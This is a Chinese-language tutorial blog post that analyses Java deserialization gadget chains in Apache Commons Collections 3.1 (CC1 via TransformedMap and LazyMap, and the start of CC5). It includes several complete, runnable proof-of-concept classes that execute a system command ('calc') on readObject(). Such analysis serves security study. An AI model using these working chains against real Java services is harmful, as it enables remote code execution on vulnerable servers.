Java反序列化漏洞之利用链分析集合(4)
2023-06-15 17:11:45 # Web Security # Java Deserialization

前言

在搞清楚Java反射机制、RMI和基本的Java反序列化漏洞流程后,下一步便是分析Java反序列化漏洞的经典利用链了。但这对大部分人来说都并不容易,我在网上查阅了大量资料,大部分文章对于新手来说并不友好 - 刚开始我甚至搞不清楚测试反序列化漏洞的环境应该如何搭建,在这种情况下,又何谈分析代码。

这篇将集合所有经典的反序列化漏洞利用链的详细讲解(包括一些环境搭建),希望帮助更多人、也包括我自己,能够认识、理解利用链的深层原理。

Do not become a script kiddie.

代码同步项目:Java-deserialization-vulnerability

URLDNS利用链

见此篇

Apache Commons Collections 利用链

什么是Commons Collections

有编程基础的同学应该知道,无论是C Language, Java, Python还是其他语言,都有**Library(库)**。在Java中,我们用import引入库,这样我们就可以使用被引入的库中的一些function了。而Apache Commons Collections就是一个第三方基础库。

It provides several features to make collection handling easy. It provides many new interfaces, implementations and utilities.

它提供了一些功能,可以更方便的管理Collection集合 - 因为方便,Commons Collections被广泛用于各种Java应用的开发。其中反序列化漏洞就出现在这个库中,这意味着使用该库的漏洞版本的Java应用会面临反序列化漏洞的威胁。而我们的目的,就是研究这个库是如何产生并被利用反序列化漏洞的。

Commons Collections 1

环境搭建

下载准备

导入库

第一种方法

首先创建一个Java项目,JDK记得选1.7版本的。

File->Project Structure->Modules->Dependencies点右边的加号:

image-20210731154615757

导入我们下载好的cc jar包

image-20210731154659615

配置就完成了。这时候我们可以看到library处已被引入。image-20210731160311855

在Artifacts处也应该导入,具体步骤见Java反序列化漏洞之Ysoserial安装配置中的WebServer环境搭建章节。

第二种方法

也可以通过创建Maven项目,添加如下dependency:

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>

TransformedMap版本 - POC构造过程

Intro

安全研究的前辈们为我们发现并构造了利用这个漏洞的POC,我们现在就需要分析这条利用链的原理。

我们的利用链需要用到如下的Class

  • InvokerTransformer
  • ChainedTrasnformer
  • ConstantTransformer
  • TransformedMap
  • AnotationInvocationHandler

第一步:InvokerTransformer

InvokerTransformer中,我们一眼可以看到如下的反射机制的使用:

1
2
3
4
5
6
7
8
9
10
11
    public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();//此处是关键
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);//此处是关键
return method.invoke(input, this.iArgs);//此处是关键
}
...//此处省略
}

在它的transform()方法中,将先get到了input所在的Class,然后,获取Class中的method(this.iMethodName, this.iParamTypes),再method.invoke(input, this.iArgs)。那么我们是否可以控制这些变量来完成一个反射呢?

InvokerTransformer有两个constructor,其中一个可以让我们传入以上需要用到的iMethodName,iParamTypes,iArgs

1
2
3
4
5
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

那么我们就可以利用这个Class来触发RCE了!如果我们想要执行Runtime.getRuntime().exec("calc");的效果,应该怎么办呢?

把它和上面的transform()里的代码对照,我们将它写成反射的形式:

1
2
3
4
5
Class cls = input.getClass();//input -> Runtime.getRuntme() 这里的Cls-> Runtime.class
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
//iMethodName -> exec
//paramTypes -> String.class
return method.invoke(input, this.iArgs);//iArgs -> "calc"

一个简易的POC:

1
2
3
4
5
6
7
8
9
10
11
12
public class TransformedMapExploit {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {

//首先创建invokerTransformer,并利用constructor对iMethodName、iParamTypes、iArgs进行赋值
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
//构造input - 这里我们需要一个Runtime Object, 用Runtime.getRuntime()的返回值可以得到
Object input = Class.forName("java.lang.Runtime").getDeclaredMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"),null);
//执行payload
invokerTransformer.transform(input);
}

}

image-20210731192120814

让我们来模拟一下客户端和服务器之间序列化和反序列化的过程:

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public class TransformedMapExploit {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException {

/*
* 客户端构造payload,并序列化文件
* */
//首先创建invokerTransformer,并利用constructor对iMethodName、iParamTypes、iArgs进行赋值
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});

//序列化
FileOutputStream fileOutputStream = new FileOutputStream("tm.cer");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(invokerTransformer);
objectOutputStream.flush();
objectOutputStream.close();
fileOutputStream.close();

/*
* 服务端反序列化读取,并执行payload
* */
//反序列化
FileInputStream fileInputStream = new FileInputStream("tm.cer");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
InvokerTransformer inv = (InvokerTransformer) objectInputStream.readObject();

//构造input - 这里我们需要一个Runtime Object, 用Runtime.getRuntime()的返回值可以得到
Object input = Class.forName("java.lang.Runtime").getDeclaredMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"),null);
//执行payload
inv.transform(input);

}

}

我们运行一下,成功弹出了计算器!

但是,我们来分析一下,这样写出来的POC有什么限制:

服务端的开发人员需要“帮助”我们做以下事情,才能触发漏洞:

  • 把反序列化后的Object强制转化为InvokerTransformer类型
  • 构造Input - Runtime实例
  • 执行InvokerTransformer中的transform方法,并将Runtime实例以方法参数传入。

可以说这样的POC基本无法用于现实中的Java应用里,毫无意义。

那么我们怎么改造呢?

第二步:ChainedTransformer

首先来解决input的问题,我们想要自己来写input,这样有更多的自主性。而ChainedTransformer类就满足我们的要求。正如其名,它有着把各个transformer串起来的功能。

ChainedTransformer中,有这样一个method:

1
2
3
4
5
6
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}

它循环遍历了iTransformers中的每一个元素 - 每一次循环,它都会把该元素.transform(object)的结果(一个对象)赋值给object,并返回。

这意味着,下一个元素执行的transform()方法中的参数就是上一个元素执行transform()方法的返回值。

而在ChainedTransformer的构造函数中我们可以控制iTransformers变量(Transformer[]类型),因为InvokerTransformer implements Transformer,那么我们之前的InvokerTransformer也可放在Transformer[]中。

1
2
3
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}

所以构想:让我们构造的input(Runtime实例)作为第一个遍历元素的返回值,再执行第二个元素的transform时,刚好就传入了input这个参数了。

但问题是,怎么让我们构造的input(Runtime实例)能被Transformer类或其子类的transform()方法中的返回呢?

第三步:ConstantTransformer

我们找到了ConstantTransformer类,它是实现Transformer类的,可以被放进Transformer[]数组。在类里,它有我们想要的transform()方法,且刚好就返回了iConstant,我们可以在构造函数中传入Runtime.getRuntime()这个Object。

1
2
3
4
5
6
7
public ConstantTransformer(Object constantToReturn) {//Constructor -》我们可以控制iconstant
this.iConstant = constantToReturn;
}

public Object transform(Object input) {//返回iconstant
return this.iConstant;
}

这样我们的链就可以连起来了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public class TransformedMapExploit {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException {
/*
* 客户端构造payload,并序列化文件
* */
Transformer[] transformers = new Transformer[]{
//返回input(Runtime实例),并将它作为下面的transform()的方法参数传入
new ConstantTransformer(Runtime.getRuntime()),
//创建invokerTransformer,并利用constructor对iMethodName、iParamTypes、iArgs进行赋值
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
//将上面的数组用chainedTransformer串起来,数组里的transformer会被挨个执行transform()方法
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//序列化
FileOutputStream fileOutputStream = new FileOutputStream("tm.cer");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(chainedTransformer);
objectOutputStream.flush();
objectOutputStream.close();
fileOutputStream.close();

/*
* 服务端反序列化读取,并触发漏洞
* */
//反序列化
FileInputStream fileInputStream = new FileInputStream("tm.cer");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
ChainedTransformer inv = (ChainedTransformer) objectInputStream.readObject();
//触发漏洞
inv.transform("Leihehe");//这里任何值都可以,因为ConstantTransformer.transform(object)中的object中没有被用到

}

}

原本想要的计算器没有出现,出现了错误:编译器提示Runtime没有实现Serializable,所以不能被序列化和反序列化。

image-20210731202443280

那我们就采用反射的方法来获取Runtime实例,让服务器在反序列化的时候生成Runtime实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public class TransformedMapExploit {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException {
/*
* 客户端构造payload,并序列化文件
* */
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),//返回Runtime Class
//获取getRuntime方法
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
//call getRuntime方法得到Runtime实例
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
//创建invokerTransformer,并利用constructor对iMethodName、iParamTypes、iArgs进行赋值
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
//将上面的数组用chainedTransformer串起来,数组里的transformer会被挨个执行transform()方法
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//序列化
FileOutputStream fileOutputStream = new FileOutputStream("tm.cer");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(chainedTransformer);
objectOutputStream.flush();
objectOutputStream.close();
fileOutputStream.close();

/*
* 服务端反序列化读取,并触发漏洞
* */
//反序列化
FileInputStream fileInputStream = new FileInputStream("tm.cer");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
ChainedTransformer inv = (ChainedTransformer) objectInputStream.readObject();
//触发漏洞
inv.transform("Leihehe");//这里任何值都可以

}

}

成功弹出计算器!但这样漏洞可以触发的范围依然不大,仍需要开发者在服务端将object转换为ChainedTransformer类型,且执行transform方法,我们需要扩大漏洞触发范围。

第四步:TransformedMap - put()

Apache Commons Collections 实现了一个 TransformedMap 类,该类是对 Java 标准数据结构 Map 接口的一个扩展 。

TransformedMap类中,我们可以发现以下methods

1
2
3
4
5
6
7
8
9
10
11
12
   protected Object transformKey(Object object) {
return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
//若keyTransformer不为null,则执行其transform方法
}

protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
//若valueTransformer不为null,则执行其transform方法
}
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}

这三个methods都会调用到对象的transform()方法,但都是protected属性,无法被外界访问,那么我们怎么触发到这三个方法呢?

继续在该Class中查看,发现了put()方法:

1
2
3
4
5
public Object put(Object key, Object value) {//如果使用了put方法,那么就会执行transform方法
key = this.transformKey(key);//这里调用了我们想要调用的方法
value = this.transformValue(value);//这里调用了我们想要调用的方法
return this.getMap().put(key, value);
}

keyTransformervalueTransformer可控吗?

TransformedMap类中的constructor传入两个转换链,一个是keyTransformer一个是valueTransformer

1
2
3
4
5
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

而它的decorate()静态方法会返回新的TransformedMap实例

1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

那么我们可以利用TransformedMap.decorate()来获取到一个新的TransformedMap Instance

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public class TransformedMapExploit {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException {
/*
* 客户端构造payload,并序列化文件
* */
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),//返回Runtime Class
//获取getRuntime方法
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
//call getRuntime方法得到Runtime实例
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
//创建invokerTransformer,并利用constructor对iMethodName、iParamTypes、iArgs进行赋值
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};

//将上面的数组用chainedTransformer串起来,数组里的transformer会被挨个执行transform()方法
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map map = new HashMap();
map.put("1","1");
Map myMap = TransformedMap.decorate(map, null, chainedTransformer);//final malicious map

//序列化
FileOutputStream fileOutputStream = new FileOutputStream("tm.cer");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(myMap);
objectOutputStream.flush();
objectOutputStream.close();
fileOutputStream.close();

/*
* 服务端反序列化读取,并触发漏洞
* */
//反序列化
FileInputStream fileInputStream = new FileInputStream("tm.cer");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
Map mapObj = (Map) objectInputStream.readObject();
//触发漏洞
mapObj.put("aa","bb");

}

}

计算器成功弹出!

现在范围扩大了,因为我们用到了更为常见的Map和put()触发。

我们更理想化的攻击方式是,服务器端只要反序列化readObject()就能触发反序列化漏洞。可惜的是,安全研究的前辈们发现并未有【重写了readObject()方法且方法内可以调用MapObj.put()方法】的Class。

第五步:TransformedMap - checkSetValue()

还记得第四步的时候,我们在TransformedMap类中还发现了一个方法,但并未利用吗?

1
2
3
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}

既然put()不可以再进一步利用了,这个方法会不会有更多利用空间呢?TransformedMap类继承了AbstractInputCheckedMapDecorator类,我们跟进去看一下。搜索checkSetValue()

image-20210731222403673

这里MapEntry里出现了checkSetValue(),那我们只要保证this.parent是指向TransformedMap类的对象就可以了。

我们看看this.parent都在哪些地方可以被赋值呢?

image-20210731222703200

分别是在EntrySetIteratorEntrySetconstructor里可以被赋值!但这是不同Class的parent,我们需要的是MapEntry里的parent,继续查看代码,发现:EntrySetIterator中的next()方法会将自身的parent传入MapEntry,而EntrySetiterator方法又会创建一个新的EntrySetIterator,将它的parent传入EntrySetIterator,这样就连起来了 - new EntrySet(set,parent).iterator().next()就能够传入我们的parent。

image-20210731223154142

接着我们发现,AbstractInputCheckedMapDecorator里还有一个entrySet(),因为我们的TransformedMap就是它的子类,所以我们可以直接用我们的TransformedMap去call这个method,一切就连起来了。

1
2
3
public Set entrySet() {
return (Set)(this.isSetValueChecking() ? new AbstractInputCheckedMapDecorator.EntrySet(super.map.entrySet(), this) : super.map.entrySet());//这里会创建一个新的entrySet,把自身作为parent传入constructor
}

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public class TransformedMapExploit {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException {
/*
* 客户端构造payload,并序列化文件
* */
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),//返回Runtime Class
//获取getRuntime方法
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
//call getRuntime方法得到Runtime实例
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
//创建invokerTransformer,并利用constructor对iMethodName、iParamTypes、iArgs进行赋值
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};

//将上面的数组用chainedTransformer串起来,数组里的transformer会被挨个执行transform()方法
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map map = new HashMap();
map.put("1","1");
Map myMap = TransformedMap.decorate(map, null, chainedTransformer);//malicious map
Map.Entry finalMap = (Map.Entry) myMap.entrySet().iterator().next();//传入parent

//序列化
FileOutputStream fileOutputStream = new FileOutputStream("tm.cer");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(finalMap);
objectOutputStream.flush();
objectOutputStream.close();
fileOutputStream.close();

/*
* 服务端反序列化读取,并触发漏洞
* */
//反序列化
FileInputStream fileInputStream = new FileInputStream("tm.cer");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
Map.Entry entry = (Map.Entry) objectInputStream.readObject();
entry.setValue("leihehe");//触发漏洞

}

}

原本以为成功了,结果发现:MapEntry不能被序列化image-20210731225703306

去掉序列化和反序列化过程,成功弹出计算器

image-20210731225956030

第六步: AnnotationInvocationHandler

虽然在第五步我们不能序列化,但幸运的是AnnotationInvocationHandler中出现了我们想要的内容:

image-20210731220804329

AnnotationInvocationHandler拥有自己的readObject()方法,且方法中涉及到了Map的操作,让我们来详细分析一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;//var2代表AnnotationType(注释类型) -》 为空

try {
var2 = AnnotationType.getInstance(this.type);//根据【this.type】给var2赋值为一个实例
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var3 = var2.memberTypes();//var3为var2 Annotation中的[value:ElementType]
Iterator var4 = this.memberValues.entrySet().iterator();//*****var4会直接将memberValues自身作为parent传入,和第五步我们自己构造的一模一样!!!如果没看懂的,建议看第五步仔细阅读。

while(var4.hasNext()) {//如果var4中还有下一个key-Value对
Entry var5 = (Entry)var4.next(); //获取下一个key-value对,并赋值给var5
String var6 = (String)var5.getKey();//获取var5的key
Class var7 = (Class)var3.get(var6);//在var3中查看有没有这个key,把结果赋值给var7
if (var7 != null) {//如果var3中有这个key
Object var8 = var5.getValue();//获取这个key-Value对中的value
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
//*****如果var7不是var8(value)的实例,而且 value不是ExceptionProxy的实例,call var5(Map)的setValue()方法
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}

我们看到了熟悉的this.memberValues.entrySet().iterator();,在后面还有setValue(),这已经足够我们利用了。

上面代码comment中的【this.type】【this.memberValues】都是可控的 -》 在constructor中可以传入。

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}

memberValues我们赋值为TransformedMap.decorate()的返回值,那type呢?我们可以发现type是一种Annotation(注释),如果有同学用过SpringBoot或Spring的话,就会理解Annotation的意义。所以此处我们是要传一个Annotation的Class过去。再看readObject()中的逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
          ...
var2 = AnnotationType.getInstance(this.type);//根据【this.type】给var2赋值为一个Annotation实例(实际会获取到注解的各种属性,包括注解元素,注解元素的默认值,生命周期,是否继承等等。)
Map var3 = var2.memberTypes();//var3为var2 Annotation中的[value:ElementType]
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next(); //获取下一个entry
String var6 = (String)var5.getKey();//获取var5的key
Class var7 = (Class)var3.get(var6);//在var3 memberTypes中查看有没有这个key,把结果赋值给var7
if (var7 != null) {//如果var3 memberTypes中有这个key
Object var8 = var5.getValue();//获取这个key-Value对中的value
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
//*****如果var7不是var8(value)的实例,而且 value不是ExceptionProxy的实例,触发漏洞
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}

我们传入的这个type需要有memberTypes,且我们的map中的key必须要和memberTypes的key保持一致。

跟踪Annotation这个Class,我们可以发现所有Annotationclass。

image-20210731231645279

这里我们可以简单分析一下:

1
2
3
4
5
6
@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.ANNOTATION_TYPE)
public @interface Target {
ElementType[] value();
}

此处TargetmemberTypes就是 [value:ElementType] =》 key-value的形式。

1
2
3
4
5
6
@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.ANNOTATION_TYPE)
public @interface Retention {
RetentionPolicy value();
}

此处RetentionmemberTypes就是 [value:RetentionPolicy] =》 key-value的形式`。

这些Annotation的元注解都可以通过@符号来调用,例如@Targetimage-20210731232549977

因此我们可以选择传入Target.class或者Retention.class, mapkey值为value

最终POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public class TransformedMapExploit {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException, InstantiationException {
/*
* 客户端构造payload,并序列化文件
* */
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),//返回Runtime Class
//获取getRuntime方法
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
//call getRuntime方法得到Runtime实例
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
//创建invokerTransformer,并利用constructor对iMethodName、iParamTypes、iArgs进行赋值
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};

//将上面的数组用chainedTransformer串起来,数组里的transformer会被挨个执行transform()方法
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map map = new HashMap();
map.put("value","anyContent");
Map myMap = TransformedMap.decorate(map, null, chainedTransformer);//malicious map

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//反射获取该类
Constructor<?> aConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);//获取构造方法
aConstructor.setAccessible(true);//取消构造方法限制
Object o = aConstructor.newInstance(Target.class, myMap);//传入参数和malicious map

//序列化

FileOutputStream fileOutputStream = new FileOutputStream("tm.cer");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(o);
objectOutputStream.flush();
objectOutputStream.close();
fileOutputStream.close();

/*
* 服务端反序列化读取,并触发漏洞
* */
//反序列化
FileInputStream fileInputStream = new FileInputStream("tm.cer");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();//触发漏洞
}
}

成功弹出计算器,这样服务端只需要readObject()即可触发反序列化漏洞了!

LazyMap版本 - POC构造过程(CommonsCollections 1)

Intro

第一步到第三步和TransformedMap版本都是一模一样的,主要问题在于如何call到ChainedTrasnformer.transform()

剩下的步骤和cc3的LazyMap、AnnotationInvocationHandler、动态代理一模一样,点这里看

Payload构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class LazyMapExploit {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
/*
* 客户端构造payload,并序列化文件
* */
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),//返回Runtime Class
//获取getRuntime方法
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
//call getRuntime方法得到Runtime实例
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
//创建invokerTransformer,并利用constructor对iMethodName、iParamTypes、iArgs进行赋值
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
//将上面的数组用chainedTransformer串起来,数组里的transformer会被挨个执行transform()方法
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

final Map testMap = new HashMap();

Map evilMap = (Map) Proxy.newProxyInstance(
testMap.getClass().getClassLoader(),
testMap.getClass().getInterfaces(),
secondInvocationHandler
);
final Constructor<?> ctor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
ctor.setAccessible(true);
final InvocationHandler handler = (InvocationHandler) ctor.newInstance(Override.class, evilMap);

//序列化
FileOutputStream fileOutputStream = new FileOutputStream("lz.cer");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(handler);//序列化badAttributeValueExpException
objectOutputStream.flush();
objectOutputStream.close();
fileOutputStream.close();
/*
* 服务端反序列化读取,并触发漏洞
* */
//反序列化
FileInputStream fileInputStream = new FileInputStream("lz.cer");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();//只需要readObject()就会触发漏洞
}
}

LazyMap版本 - POC构造过程(CommonsCollections 5)

Intro


3/12/2021 补充:

之前学习的时候看的资料太杂,学到cc5的时候发现这个LazyMap版本其实是cc5的,CC1的LazyMap版本其实是用到了代理方面的知识。


我们的利用链需要用到如下的Class

  • InvokerTransformer
  • ChainedTrasnformer
  • ConstantTransformer
  • LazyMap
  • BadAttributeValueExpException

第一步到第三步:

和之前的TransformedMap版本低前三步是一样的。

第四步:LazyMap - get()

TransformedMap一样,我们需要寻找可以执行chainedTransformertransform()方法的利用链。

LazyMap中,我们发现了

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);//重点
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}

在这段代码中,this.factory.transform(key)就执行了transform()方法,如果我们能让factory被赋值为我们构造好的chainedTransformer,就可以触发漏洞了。

我们发现LazyMap有两个构造函数,其中一个构造函数会传入以Transformer类型的参数

1
2
3
4
5
6
7
8
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;//我们可以控制factory
}
}

我们尝试构造POC时new一个新的LazyMap,并将我们的链传进去,发现无法被构造。

image-20210805215256433

该构造方法是protected修饰的,意味着我们不能直接访问。

LazyMap中,还有一个我们熟悉的decorate()方法,该方法会返回我们想要的instance

image-20210805215440540

于是,现在的POC可以构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class LazyMapExploit {
public static void main(String[] args) {
/*
* 客户端构造payload,并序列化文件
* */
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),//返回Runtime Class
//获取getRuntime方法
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
//call getRuntime方法得到Runtime实例
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
//创建invokerTransformer,并利用constructor对iMethodName、iParamTypes、iArgs进行赋值
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};

//将上面的数组用chainedTransformer串起来,数组里的transformer会被挨个执行transform()方法
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("1","2");
Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer);//return a new lazyMap
lazyMap.get("hello");//触发漏洞
}

}

计算器成功弹出

image-20210805215558587

现在,我们尝试模拟远程服务器与客户端之间的序列化和反序列化流程。

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public class LazyMapExploit {
public static void main(String[] args) throws IOException, ClassNotFoundException {
/*
* 客户端构造payload,并序列化文件
* */
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),//返回Runtime Class
//获取getRuntime方法
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
//call getRuntime方法得到Runtime实例
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
//创建invokerTransformer,并利用constructor对iMethodName、iParamTypes、iArgs进行赋值
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};

//将上面的数组用chainedTransformer串起来,数组里的transformer会被挨个执行transform()方法
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("1","2");
